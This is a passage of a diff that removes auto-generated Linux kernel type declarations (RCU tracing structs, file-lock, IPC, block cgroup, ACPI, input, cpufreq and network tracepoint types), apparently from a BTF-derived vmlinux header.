64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct umd_info { - const char *driver_name; - struct file *pipe_to_umh; - struct file *pipe_from_umh; - struct path wd; - struct pid *tgid; -}; - -typedef void (*call_rcu_func_t)(struct callback_head *, rcu_callback_t); - -typedef int (*task_call_f)(struct task_struct *, void *); - -struct rcu_cblist { - struct callback_head *head; - struct callback_head **tail; - long int len; -}; - -struct rcu_synchronize { - struct callback_head head; - struct completion completion; -}; - -struct trace_event_raw_rcu_utilization { - struct trace_entry ent; - const char *s; - char __data[0]; -}; - -struct trace_event_raw_rcu_grace_period { - struct trace_entry ent; - const char *rcuname; - long int gp_seq; - const char *gpevent; - char __data[0]; -}; - -struct trace_event_raw_rcu_future_grace_period { - struct trace_entry ent; - const char *rcuname; - long int gp_seq; - long int gp_seq_req; - u8 level; - int grplo; - int grphi; - const char *gpevent; - char __data[0]; -}; - -struct trace_event_raw_rcu_grace_period_init { - struct trace_entry ent; - const char *rcuname; - long int gp_seq; - u8 level; - int grplo; - int grphi; - long unsigned int qsmask; - char __data[0]; -}; - -struct trace_event_raw_rcu_exp_grace_period { - struct trace_entry ent; - const char *rcuname; - long int gpseq; - const char *gpevent; - char __data[0]; -}; - -struct trace_event_raw_rcu_exp_funnel_lock { - struct trace_entry ent; - const char *rcuname; - u8 level; - int grplo; - int grphi; - const char *gpevent; - char __data[0]; -}; - -struct trace_event_raw_rcu_preempt_task { - struct trace_entry ent; - const char *rcuname; - long int gp_seq; - int pid; - char __data[0]; -}; - -struct trace_event_raw_rcu_unlock_preempted_task { - struct trace_entry ent; - const char *rcuname; - long int gp_seq; - int pid; - char __data[0]; -}; - -struct trace_event_raw_rcu_quiescent_state_report { - struct trace_entry ent; - const char *rcuname; - long int gp_seq; - long unsigned int mask; - long unsigned int qsmask; - u8 level; - int grplo; - int grphi; - u8 gp_tasks; - char __data[0]; -}; - -struct trace_event_raw_rcu_fqs { - struct trace_entry ent; - const char *rcuname; - long int gp_seq; - int cpu; - const char *qsevent; - char __data[0]; -}; - -struct trace_event_raw_rcu_stall_warning { - struct trace_entry ent; - const char *rcuname; - const char *msg; - char __data[0]; -}; - -struct trace_event_raw_rcu_dyntick { - struct trace_entry ent; - const char *polarity; - long int oldnesting; - long int newnesting; - int dynticks; - char __data[0]; -}; - -struct trace_event_raw_rcu_callback { - struct trace_entry ent; - const char *rcuname; - void *rhp; - void *func; - long int qlen; - char __data[0]; -}; - -struct trace_event_raw_rcu_segcb_stats { - struct trace_entry ent; - const char *ctx; - long unsigned int gp_seq[4]; - long int seglen[4]; - char __data[0]; -}; - -struct trace_event_raw_rcu_kvfree_callback { - struct trace_entry ent; - const char *rcuname; - void *rhp; - long unsigned int offset; - long int qlen; - char __data[0]; -}; - -struct trace_event_raw_rcu_batch_start { - struct trace_entry ent; - const char *rcuname; - long int qlen; - long int blimit; - char __data[0]; -}; - -struct trace_event_raw_rcu_invoke_callback { - struct trace_entry ent; - const char *rcuname; - void *rhp; - void *func; - char __data[0]; -}; - -struct trace_event_raw_rcu_invoke_kvfree_callback { - struct trace_entry ent; - const char *rcuname; - void *rhp; - long unsigned int offset; - char __data[0]; -}; - -struct trace_event_raw_rcu_invoke_kfree_bulk_callback { - struct trace_entry ent; - const char *rcuname; - long unsigned int nr_records; - void **p; - char __data[0]; -}; - -struct trace_event_raw_rcu_batch_end { - struct trace_entry ent; - const char *rcuname; - int callbacks_invoked; - char cb; - char nr; - char iit; - char risk; - char __data[0]; -}; - -struct trace_event_raw_rcu_torture_read { - struct trace_entry ent; - char rcutorturename[8]; - struct callback_head *rhp; - long unsigned int secs; - long unsigned int c_old; - long unsigned int c; - char __data[0]; -}; - -struct trace_event_raw_rcu_barrier { - struct trace_entry ent; - const char *rcuname; - const char *s; - int cpu; - int cnt; - long unsigned int done; - char __data[0]; -}; - -struct trace_event_data_offsets_rcu_utilization {}; - -struct trace_event_data_offsets_rcu_grace_period {}; - -struct trace_event_data_offsets_rcu_future_grace_period {}; - -struct trace_event_data_offsets_rcu_grace_period_init {}; - -struct trace_event_data_offsets_rcu_exp_grace_period {}; - -struct trace_event_data_offsets_rcu_exp_funnel_lock {}; - -struct trace_event_data_offsets_rcu_preempt_task {}; - -struct trace_event_data_offsets_rcu_unlock_preempted_task {}; - -struct trace_event_data_offsets_rcu_quiescent_state_report {}; - -struct trace_event_data_offsets_rcu_fqs {}; - -struct trace_event_data_offsets_rcu_stall_warning {}; - -struct trace_event_data_offsets_rcu_dyntick {}; - -struct trace_event_data_offsets_rcu_callback {}; - -struct trace_event_data_offsets_rcu_segcb_stats {}; - -struct trace_event_data_offsets_rcu_kvfree_callback {}; - -struct trace_event_data_offsets_rcu_batch_start {}; - -struct trace_event_data_offsets_rcu_invoke_callback {}; - -struct trace_event_data_offsets_rcu_invoke_kvfree_callback {}; - -struct trace_event_data_offsets_rcu_invoke_kfree_bulk_callback {}; - -struct trace_event_data_offsets_rcu_batch_end {}; - -struct trace_event_data_offsets_rcu_torture_read {}; - -struct trace_event_data_offsets_rcu_barrier {}; - -typedef void (*btf_trace_rcu_utilization)(void *, const char *); - -typedef void (*btf_trace_rcu_grace_period)(void *, const char *, long unsigned int, const char *); - -typedef void (*btf_trace_rcu_future_grace_period)(void *, const char *, long unsigned int, long unsigned int, u8, int, int, const char *); - -typedef void (*btf_trace_rcu_grace_period_init)(void *, const char *, long unsigned int, u8, int, int, long unsigned int); - -typedef void (*btf_trace_rcu_exp_grace_period)(void *, const char *, long unsigned int, const char *); - -typedef void (*btf_trace_rcu_exp_funnel_lock)(void *, const char *, u8, int, int, const char *); - -typedef void (*btf_trace_rcu_preempt_task)(void *, const char *, int, long unsigned int); - -typedef void (*btf_trace_rcu_unlock_preempted_task)(void *, const char *, long unsigned int, int); - -typedef void (*btf_trace_rcu_quiescent_state_report)(void *, const char *, long unsigned int, long unsigned int, long unsigned int, u8, int, int, int); - -typedef void (*btf_trace_rcu_fqs)(void *, const char *, long unsigned int, int, const char *); - -typedef void (*btf_trace_rcu_stall_warning)(void *, const char *, const char *); - -typedef void (*btf_trace_rcu_dyntick)(void *, const char *, long int, long int, int); - -typedef void (*btf_trace_rcu_callback)(void *, const char *, struct callback_head *, long int); - -typedef void (*btf_trace_rcu_segcb_stats)(void *, struct rcu_segcblist *, const char *); - -typedef void (*btf_trace_rcu_kvfree_callback)(void *, const char *, struct callback_head *, long unsigned int, long int); - -typedef void (*btf_trace_rcu_batch_start)(void *, const char *, long int, long int); - -typedef void (*btf_trace_rcu_invoke_callback)(void *, const char *, struct callback_head *); - -typedef void (*btf_trace_rcu_invoke_kvfree_callback)(void *, const char *, struct callback_head *, long unsigned int); - -typedef void (*btf_trace_rcu_invoke_kfree_bulk_callback)(void *, const char *, long unsigned int, void **); - -typedef void (*btf_trace_rcu_batch_end)(void *, const char *, int, char, char, char, char); - -typedef void (*btf_trace_rcu_torture_read)(void *, const char *, struct callback_head *, long unsigned int, long unsigned int, long unsigned int); - -typedef void (*btf_trace_rcu_barrier)(void *, const char *, const char *, int, int, long unsigned int); - -struct early_boot_kfree_rcu { - struct callback_head rh; -}; - -struct rcu_tasks; - -typedef void (*rcu_tasks_gp_func_t)(struct rcu_tasks *); - -typedef void (*pregp_func_t)(struct list_head *); - -typedef void (*pertask_func_t)(struct task_struct *, struct list_head *); - -typedef void (*postscan_func_t)(struct list_head *); - -typedef void (*holdouts_func_t)(struct list_head *, bool, bool *); - -typedef void (*postgp_func_t)(struct rcu_tasks *); - -struct rcu_tasks_percpu; - -struct rcu_tasks { - struct rcuwait cbs_wait; - raw_spinlock_t cbs_gbl_lock; - struct mutex tasks_gp_mutex; - int gp_state; - int gp_sleep; - int init_fract; - long unsigned int gp_jiffies; - long unsigned int gp_start; - long unsigned int tasks_gp_seq; - long unsigned int n_ipis; - long unsigned int n_ipis_fails; - struct task_struct *kthread_ptr; - rcu_tasks_gp_func_t gp_func; - pregp_func_t pregp_func; - pertask_func_t pertask_func; - postscan_func_t postscan_func; - holdouts_func_t holdouts_func; - postgp_func_t postgp_func; - call_rcu_func_t call_func; - struct rcu_tasks_percpu *rtpcpu; - int percpu_enqueue_shift; - int percpu_enqueue_lim; - int percpu_dequeue_lim; - long unsigned int percpu_dequeue_gpseq; - struct mutex barrier_q_mutex; - atomic_t barrier_q_count; - struct completion barrier_q_completion; - long unsigned int barrier_q_seq; - char *name; - char *kname; -}; - -struct rcu_tasks_percpu { - struct rcu_segcblist cblist; - raw_spinlock_t lock; - long unsigned int rtp_jiffies; - long unsigned int rtp_n_lock_retries; - struct work_struct rtp_work; - struct irq_work rtp_irq_work; - struct callback_head barrier_q_head; - struct list_head rtp_blkd_tasks; - int cpu; - struct rcu_tasks *rtpp; -}; - -struct trc_stall_chk_rdr { - int nesting; - int ipi_to_cpu; - u8 needqs; -}; - -struct rcu_tasks_test_desc { - struct callback_head rh; - const char *name; - bool notrun; - long unsigned int runstart; -}; - -enum { - XA_CHECK_SCHED = 4096, -}; - -struct shared_policy { - struct rb_root root; - rwlock_t lock; -}; - -enum { - HUGETLB_SHMFS_INODE = 1, - HUGETLB_ANONHUGE_INODE = 2, -}; - -struct hugetlbfs_inode_info { - struct shared_policy policy; - struct inode vfs_inode; - unsigned int seals; -}; - -struct simple_xattrs { - struct list_head head; - spinlock_t lock; -}; - -struct shmem_inode_info { - spinlock_t lock; - unsigned int seals; - long unsigned int flags; - long unsigned int alloced; - long unsigned int swapped; - long unsigned int fallocend; - struct list_head shrinklist; - struct list_head swaplist; - struct shared_policy policy; - struct simple_xattrs xattrs; - atomic_t stop_eviction; - struct timespec64 i_crtime; - unsigned int fsflags; - struct inode vfs_inode; -}; - -struct srcu_notifier_head { - struct mutex mutex; - struct srcu_struct srcu; - struct notifier_block *head; -}; - -struct flock { - short int l_type; - short int l_whence; - __kernel_off_t l_start; - __kernel_off_t l_len; - __kernel_pid_t l_pid; -}; - -struct flock64 { - short int l_type; - short int l_whence; - __kernel_loff_t l_start; - __kernel_loff_t l_len; - __kernel_pid_t l_pid; -}; - -struct trace_event_raw_locks_get_lock_context { - struct trace_entry ent; - long unsigned int i_ino; - dev_t s_dev; - unsigned char type; - struct file_lock_context *ctx; - char __data[0]; -}; - -struct trace_event_raw_filelock_lock { - struct trace_entry ent; - struct file_lock *fl; - long unsigned int i_ino; - dev_t s_dev; - struct file_lock *fl_blocker; - fl_owner_t fl_owner; - unsigned int fl_pid; - unsigned int fl_flags; - unsigned char fl_type; - loff_t fl_start; - loff_t fl_end; - int ret; - char __data[0]; -}; - -struct trace_event_raw_filelock_lease { - struct trace_entry ent; - struct file_lock *fl; - long unsigned int i_ino; - dev_t s_dev; - struct file_lock *fl_blocker; - fl_owner_t fl_owner; - unsigned int fl_flags; - unsigned char fl_type; - long unsigned int fl_break_time; - long unsigned int fl_downgrade_time; - char __data[0]; -}; - -struct trace_event_raw_generic_add_lease { - struct trace_entry ent; - long unsigned int i_ino; - int wcount; - int rcount; - int icount; - dev_t s_dev; - fl_owner_t fl_owner; - unsigned int fl_flags; - unsigned char fl_type; - char __data[0]; -}; - -struct trace_event_raw_leases_conflict { - struct trace_entry ent; - void *lease; - void *breaker; - unsigned int l_fl_flags; - unsigned int b_fl_flags; - unsigned char l_fl_type; - unsigned char b_fl_type; - bool conflict; - char __data[0]; -}; - -struct trace_event_data_offsets_locks_get_lock_context {}; - -struct trace_event_data_offsets_filelock_lock {}; - -struct trace_event_data_offsets_filelock_lease {}; - -struct trace_event_data_offsets_generic_add_lease {}; - -struct trace_event_data_offsets_leases_conflict {}; - -typedef void (*btf_trace_locks_get_lock_context)(void *, struct inode *, int, struct file_lock_context *); - -typedef void (*btf_trace_posix_lock_inode)(void *, struct inode *, struct file_lock *, int); - -typedef void (*btf_trace_fcntl_setlk)(void *, struct inode *, struct file_lock *, int); - -typedef void (*btf_trace_locks_remove_posix)(void *, struct inode *, struct file_lock *, int); - -typedef void (*btf_trace_flock_lock_inode)(void *, struct inode *, struct file_lock *, int); - -typedef void (*btf_trace_break_lease_noblock)(void *, struct inode *, struct file_lock *); - -typedef void (*btf_trace_break_lease_block)(void *, struct inode *, struct file_lock *); - -typedef void (*btf_trace_break_lease_unblock)(void *, struct inode *, struct file_lock *); - -typedef void (*btf_trace_generic_delete_lease)(void *, struct inode *, struct file_lock *); - -typedef void (*btf_trace_time_out_leases)(void *, struct inode *, struct file_lock *); - -typedef void (*btf_trace_generic_add_lease)(void *, struct inode *, struct file_lock *); - -typedef void (*btf_trace_leases_conflict)(void *, bool, struct file_lock *, struct file_lock *); - -struct file_lock_list_struct { - spinlock_t lock; - struct hlist_head hlist; -}; - -enum proc_hidepid { - HIDEPID_OFF = 0, - HIDEPID_NO_ACCESS = 1, - HIDEPID_INVISIBLE = 2, - HIDEPID_NOT_PTRACEABLE = 4, -}; - -enum proc_pidonly { - PROC_PIDONLY_OFF = 0, - PROC_PIDONLY_ON = 1, -}; - -struct proc_fs_info { - struct pid_namespace *pid_ns; - struct dentry *proc_self; - struct dentry *proc_thread_self; - kgid_t pid_gid; - enum proc_hidepid hide_pid; - enum proc_pidonly pidonly; -}; - -struct locks_iterator { - int li_cpu; - loff_t li_pos; -}; - -struct msg_msgseg; - -struct msg_msg { - struct list_head m_list; - long int m_type; - size_t m_ts; - struct msg_msgseg *next; - void *security; -}; - -struct msg_msgseg { - struct msg_msgseg *next; -}; - -struct ipc_ids { - int in_use; - short unsigned int seq; - struct rw_semaphore rwsem; - struct idr ipcs_idr; - int max_idx; - int last_idx; - struct rhashtable key_ht; -}; - -struct ipc_namespace { - struct ipc_ids ids[3]; - int sem_ctls[4]; - int used_sems; - unsigned int msg_ctlmax; - unsigned int msg_ctlmnb; - unsigned int msg_ctlmni; - struct percpu_counter percpu_msg_bytes; - struct percpu_counter percpu_msg_hdrs; - size_t shm_ctlmax; - size_t shm_ctlall; - long unsigned int shm_tot; - int shm_ctlmni; - int shm_rmid_forced; - struct notifier_block ipcns_nb; - struct vfsmount *mq_mnt; - unsigned int mq_queues_count; - unsigned int mq_queues_max; - unsigned int mq_msg_max; - unsigned int mq_msgsize_max; - unsigned int mq_msg_default; - unsigned int mq_msgsize_default; - struct ctl_table_set mq_set; - struct ctl_table_header *mq_sysctls; - struct ctl_table_set ipc_set; - struct ctl_table_header *ipc_sysctls; - struct user_namespace *user_ns; - struct ucounts *ucounts; - struct llist_node mnt_llist; - struct ns_common ns; -}; - -struct crypto_comp { - struct crypto_tfm base; -}; - -struct blkg_iostat { - u64 bytes[3]; - u64 ios[3]; -}; - -struct blkg_iostat_set { - struct u64_stats_sync sync; - struct blkg_iostat cur; - struct blkg_iostat last; -}; - -struct blkcg; - -struct blkg_policy_data; - -struct blkcg_gq { - struct request_queue *q; - struct list_head q_node; - struct hlist_node blkcg_node; - struct blkcg *blkcg; - struct blkcg_gq *parent; - struct percpu_ref refcnt; - bool online; - struct blkg_iostat_set *iostat_cpu; - struct blkg_iostat_set iostat; - struct blkg_policy_data *pd[6]; - spinlock_t async_bio_lock; - struct bio_list async_bios; - union { - struct work_struct async_bio_work; - struct work_struct free_work; - }; - atomic_t use_delay; - atomic64_t delay_nsec; - atomic64_t delay_start; - u64 last_delay; - int last_use; - struct callback_head callback_head; -}; - -struct elevator_type; - -struct elevator_queue { - struct elevator_type *type; - void *elevator_data; - struct kobject kobj; - struct mutex sysfs_lock; - unsigned int registered: 1; - struct hlist_head hash[64]; -}; - -struct req_iterator { - struct bvec_iter iter; - struct bio *bio; -}; - -enum xen_domain_type { - XEN_NATIVE = 0, - XEN_PV_DOMAIN = 1, - XEN_HVM_DOMAIN = 2, -}; - -enum elv_merge { - ELEVATOR_NO_MERGE = 0, - ELEVATOR_FRONT_MERGE = 1, - ELEVATOR_BACK_MERGE = 2, - ELEVATOR_DISCARD_MERGE = 3, -}; - -struct blk_mq_alloc_data; - -struct elevator_mq_ops { - int (*init_sched)(struct request_queue *, struct elevator_type *); - void (*exit_sched)(struct elevator_queue *); - int (*init_hctx)(struct blk_mq_hw_ctx *, unsigned int); - void (*exit_hctx)(struct blk_mq_hw_ctx *, unsigned int); - void (*depth_updated)(struct blk_mq_hw_ctx *); - bool (*allow_merge)(struct request_queue *, struct request *, struct bio *); - bool (*bio_merge)(struct request_queue *, struct bio *, unsigned int); - int (*request_merge)(struct request_queue *, struct request **, struct bio *); - void (*request_merged)(struct request_queue *, struct request *, enum elv_merge); - void (*requests_merged)(struct request_queue *, struct request *, struct request *); - void (*limit_depth)(blk_opf_t, struct blk_mq_alloc_data *); - void (*prepare_request)(struct request *); - void (*finish_request)(struct request *); - void (*insert_requests)(struct blk_mq_hw_ctx *, struct list_head *, bool); - struct request * (*dispatch_request)(struct blk_mq_hw_ctx *); - bool (*has_work)(struct blk_mq_hw_ctx *); - void (*completed_request)(struct request *, u64); - void (*requeue_request)(struct request *); - struct request * (*former_request)(struct request_queue *, struct request *); - struct request * (*next_request)(struct request_queue *, struct request *); - void (*init_icq)(struct io_cq *); - void (*exit_icq)(struct io_cq *); -}; - -struct elv_fs_entry; - -struct elevator_type { - struct kmem_cache *icq_cache; - struct elevator_mq_ops ops; - size_t icq_size; - size_t icq_align; - struct elv_fs_entry *elevator_attrs; - const char *elevator_name; - const char *elevator_alias; - const unsigned int elevator_features; - struct module *elevator_owner; - const struct blk_mq_debugfs_attr *queue_debugfs_attrs; - const struct blk_mq_debugfs_attr *hctx_debugfs_attrs; - char icq_cache_name[22]; - struct list_head list; -}; - -struct blk_mq_alloc_data { - struct request_queue *q; - blk_mq_req_flags_t flags; - unsigned int shallow_depth; - blk_opf_t cmd_flags; - req_flags_t rq_flags; - unsigned int nr_tags; - struct request **cached_rq; - struct blk_mq_ctx *ctx; - struct blk_mq_hw_ctx *hctx; -}; - -struct elv_fs_entry { - struct attribute attr; - ssize_t (*show)(struct elevator_queue *, char *); - ssize_t (*store)(struct elevator_queue *, const char *, size_t); -}; - -enum blkg_iostat_type { - BLKG_IOSTAT_READ = 0, - BLKG_IOSTAT_WRITE = 1, - BLKG_IOSTAT_DISCARD = 2, - BLKG_IOSTAT_NR = 3, -}; - -struct blkcg_policy_data; - -struct blkcg { - struct cgroup_subsys_state css; - spinlock_t lock; - refcount_t online_pin; - struct xarray blkg_tree; - struct blkcg_gq *blkg_hint; - struct hlist_head blkg_list; - struct blkcg_policy_data *cpd[6]; - struct list_head all_blkcgs_node; - struct list_head cgwb_list; -}; - -struct blkg_policy_data { - struct blkcg_gq *blkg; - int plid; -}; - -struct blkcg_policy_data { - struct blkcg *blkcg; - int plid; -}; - -enum blkg_rwstat_type { - BLKG_RWSTAT_READ = 0, - BLKG_RWSTAT_WRITE = 1, - BLKG_RWSTAT_SYNC = 2, - BLKG_RWSTAT_ASYNC = 3, - BLKG_RWSTAT_DISCARD = 4, - BLKG_RWSTAT_NR = 5, - BLKG_RWSTAT_TOTAL = 5, -}; - -enum { - LIMIT_LOW = 0, - LIMIT_MAX = 1, - LIMIT_CNT = 2, -}; - -enum bio_merge_status { - BIO_MERGE_OK = 0, - BIO_MERGE_NONE = 1, - BIO_MERGE_FAILED = 2, -}; - -enum acpi_predicate { - all_versions = 0, - less_than_or_equal = 1, - equal = 2, - greater_than_or_equal = 3, -}; - -struct acpi_platform_list { - char oem_id[7]; - char oem_table_id[9]; - u32 oem_revision; - char *table; - enum acpi_predicate pred; - char *reason; - u32 data; -}; - -enum { - IORES_DESC_NONE = 0, - IORES_DESC_CRASH_KERNEL = 1, - IORES_DESC_ACPI_TABLES = 2, - IORES_DESC_ACPI_NV_STORAGE = 3, - IORES_DESC_PERSISTENT_MEMORY = 4, - IORES_DESC_PERSISTENT_MEMORY_LEGACY = 5, - IORES_DESC_DEVICE_PRIVATE_MEMORY = 6, - IORES_DESC_RESERVED = 7, - IORES_DESC_SOFT_RESERVED = 8, - IORES_DESC_CXL = 9, -}; - -struct acpi_predefined_names { - const char *name; - u8 type; - char *val; -}; - -typedef u32 (*acpi_osd_handler)(void *); - -typedef void (*acpi_osd_exec_callback)(void *); - -struct acpi_pci_id { - u16 segment; - u16 bus; - u16 device; - u16 function; -}; - -typedef enum { - OSL_GLOBAL_LOCK_HANDLER = 0, - OSL_NOTIFY_HANDLER = 1, - OSL_GPE_HANDLER = 2, - OSL_DEBUGGER_MAIN_THREAD = 3, - OSL_DEBUGGER_EXEC_THREAD = 4, - OSL_EC_POLL_HANDLER = 5, - OSL_EC_BURST_HANDLER = 6, -} acpi_execute_type; - -struct acpi_os_dpc { - acpi_osd_exec_callback function; - void *context; - struct work_struct work; -}; - -struct acpi_ioremap { - struct list_head list; - void *virt; - acpi_physical_address phys; - acpi_size size; - union { - long unsigned int refcount; - struct rcu_work rwork; - } track; -}; - -struct acpi_hp_work { - struct work_struct work; - struct acpi_device *adev; - u32 src; -}; - -struct acpi_pci_routing_table { - u32 length; - u32 pin; - u64 address; - u32 source_index; - char source[4]; -}; - -struct input_event { - __kernel_ulong_t __sec; - __kernel_ulong_t __usec; - __u16 type; - __u16 code; - __s32 value; -}; - -struct input_mask { - __u32 type; - __u32 codes_size; - __u64 codes_ptr; -}; - -struct input_mt_slot { - int abs[14]; - unsigned int frame; - unsigned int key; -}; - -struct input_mt { - int trkid; - int num_slots; - int slot; - unsigned int flags; - unsigned int frame; - int *red; - struct input_mt_slot slots[0]; -}; - -struct evdev_client; - -struct evdev { - int open; - struct input_handle handle; - struct evdev_client *grab; - struct list_head client_list; - spinlock_t client_lock; - struct mutex mutex; - struct device dev; - struct cdev cdev; - bool exist; -}; - -struct evdev_client { - unsigned int head; - unsigned int tail; - unsigned int packet_head; - spinlock_t buffer_lock; - wait_queue_head_t wait; - struct fasync_struct *fasync; - struct evdev *evdev; - struct list_head node; - enum input_clock_type clk_type; - bool revoked; - long unsigned int *evmasks[32]; - unsigned int bufsize; - struct input_event buffer[0]; -}; - -typedef s64 int64_t; - -struct update_util_data { - void (*func)(struct update_util_data *, u64, unsigned int); -}; - -struct cpufreq_policy_data { - struct cpufreq_cpuinfo cpuinfo; - struct cpufreq_frequency_table *freq_table; - unsigned int cpu; - unsigned int min; - unsigned int max; -}; - -struct cpufreq_freqs { - struct cpufreq_policy *policy; - unsigned int old; - unsigned int new; - u8 flags; -}; - -struct freq_attr { - struct attribute attr; - ssize_t (*show)(struct cpufreq_policy *, char *); - ssize_t (*store)(struct cpufreq_policy *, const char *, size_t); -}; - -struct cpufreq_driver { - char name[16]; - u16 flags; - void *driver_data; - int (*init)(struct cpufreq_policy *); - int (*verify)(struct cpufreq_policy_data *); - int (*setpolicy)(struct cpufreq_policy *); - int (*target)(struct cpufreq_policy *, unsigned int, unsigned int); - int (*target_index)(struct cpufreq_policy *, unsigned int); - unsigned int (*fast_switch)(struct cpufreq_policy *, unsigned int); - void (*adjust_perf)(unsigned int, long unsigned int, long unsigned int, long unsigned int); - unsigned int (*get_intermediate)(struct cpufreq_policy *, unsigned int); - int (*target_intermediate)(struct cpufreq_policy *, unsigned int); - unsigned int (*get)(unsigned int); - void (*update_limits)(unsigned int); - int (*bios_limit)(int, unsigned int *); - int (*online)(struct cpufreq_policy *); - int (*offline)(struct cpufreq_policy *); - int (*exit)(struct cpufreq_policy *); - int (*suspend)(struct cpufreq_policy *); - int (*resume)(struct cpufreq_policy *); - void (*ready)(struct cpufreq_policy *); - struct freq_attr **attr; - bool boost_enabled; - int (*set_boost)(struct cpufreq_policy *, int); - void (*register_em)(struct cpufreq_policy *); -}; - -enum acpi_preferred_pm_profiles { - PM_UNSPECIFIED = 0, - PM_DESKTOP = 1, - PM_MOBILE = 2, - PM_WORKSTATION = 3, - PM_ENTERPRISE_SERVER = 4, - PM_SOHO_SERVER = 5, - PM_APPLIANCE_PC = 6, - PM_PERFORMANCE_SERVER = 7, - PM_TABLET = 8, -}; - -struct cppc_perf_caps { - u32 guaranteed_perf; - u32 highest_perf; - u32 nominal_perf; - u32 lowest_perf; - u32 lowest_nonlinear_perf; - u32 lowest_freq; - u32 nominal_freq; -}; - -struct sample { - int32_t core_avg_perf; - int32_t busy_scaled; - u64 aperf; - u64 mperf; - u64 tsc; - u64 time; -}; - -struct pstate_data { - int current_pstate; - int min_pstate; - int max_pstate; - int max_pstate_physical; - int perf_ctl_scaling; - int scaling; - int turbo_pstate; - unsigned int min_freq; - unsigned int max_freq; - unsigned int turbo_freq; -}; - -struct vid_data { - int min; - int max; - int turbo; - int32_t ratio; -}; - -struct global_params { - bool no_turbo; - bool turbo_disabled; - bool turbo_disabled_mf; - int max_perf_pct; - int min_perf_pct; -}; - -struct cpudata { - int cpu; - unsigned int policy; - struct update_util_data update_util; - bool update_util_set; - struct pstate_data pstate; - struct vid_data vid; - u64 last_update; - u64 last_sample_time; - u64 aperf_mperf_shift; - u64 prev_aperf; - u64 prev_mperf; - u64 prev_tsc; - u64 prev_cummulative_iowait; - struct sample sample; - int32_t min_perf_ratio; - int32_t max_perf_ratio; - struct acpi_processor_performance acpi_perf_data; - bool valid_pss_table; - unsigned int iowait_boost; - s16 epp_powersave; - s16 epp_policy; - s16 epp_default; - s16 epp_cached; - u64 hwp_req_cached; - u64 hwp_cap_cached; - u64 last_io_update; - unsigned int sched_flags; - u32 hwp_boost_min; - bool suspended; - struct delayed_work hwp_notify_work; -}; - -struct pstate_funcs { - int (*get_max)(int); - int (*get_max_physical)(int); - int (*get_min)(int); - int (*get_turbo)(int); - int (*get_scaling)(); - int (*get_cpu_scaling)(int); - int (*get_aperf_mperf_shift)(); - u64 (*get_val)(struct cpudata *, int); - void (*get_vid)(struct cpudata *); -}; - -enum energy_perf_value_index { - EPP_INDEX_DEFAULT = 0, - EPP_INDEX_PERFORMANCE = 1, - EPP_INDEX_BALANCE_PERFORMANCE = 2, - EPP_INDEX_BALANCE_POWERSAVE = 3, - EPP_INDEX_POWERSAVE = 4, -}; - -enum { - PSS = 0, - PPC = 1, -}; - -struct trace_event_raw_kfree_skb { - struct trace_entry ent; - void *skbaddr; - void *location; - short unsigned int protocol; - enum skb_drop_reason reason; - char __data[0]; -}; - -struct trace_event_raw_consume_skb { - struct trace_entry ent; - void *skbaddr; - char __data[0]; -}; - -struct trace_event_raw_skb_copy_datagram_iovec { - struct trace_entry ent; - const void *skbaddr; - int len; - char __data[0]; -}; - -struct trace_event_data_offsets_kfree_skb {}; - -struct trace_event_data_offsets_consume_skb {}; - -struct trace_event_data_offsets_skb_copy_datagram_iovec {}; - -typedef void (*btf_trace_kfree_skb)(void *, struct sk_buff *, void *, enum skb_drop_reason); - -typedef void (*btf_trace_consume_skb)(void *, struct sk_buff *); - -typedef void (*btf_trace_skb_copy_datagram_iovec)(void *, const struct sk_buff *, int); - -struct trace_event_raw_net_dev_start_xmit { - struct trace_entry ent; - u32 __data_loc_name; - u16 queue_mapping; - const void *skbaddr; - bool vlan_tagged; - u16 vlan_proto; - u16 vlan_tci; - u16 protocol; - u8 ip_summed; - unsigned int len; - unsigned int data_len; - int network_offset; - bool transport_offset_valid; - int transport_offset; - u8 tx_flags; - u16 gso_size; - u16 gso_segs; - u16 gso_type; - char __data[0]; -}; - -struct trace_event_raw_net_dev_xmit { - struct trace_entry ent; - void *skbaddr; - unsigned int len; - int rc; - u32 __data_loc_name; - char __data[0]; -}; - -struct trace_event_raw_net_dev_xmit_timeout { - struct trace_entry ent; - u32 __data_loc_name; - u32 __data_loc_driver; - int queue_index; - char __data[0]; -}; - -struct trace_event_raw_net_dev_template { - struct trace_entry ent; - void *skbaddr; - unsigned int len; - u32 __data_loc_name; - char __data[0]; -}; - -struct trace_event_raw_net_dev_rx_verbose_template { - struct trace_entry ent; - u32 __data_loc_name; - unsigned int napi_id; - u16 queue_mapping; - const void *skbaddr; - bool vlan_tagged; - u16 vlan_proto; - u16 vlan_tci; - u16 protocol; - u8 ip_summed; - u32 hash; - bool l4_hash; - unsigned int len; - unsigned int data_len; - unsigned int truesize; - bool mac_header_valid; - int mac_header; - unsigned char nr_frags; - u16 gso_size; - u16 gso_type; - char __data[0]; -}; - -struct 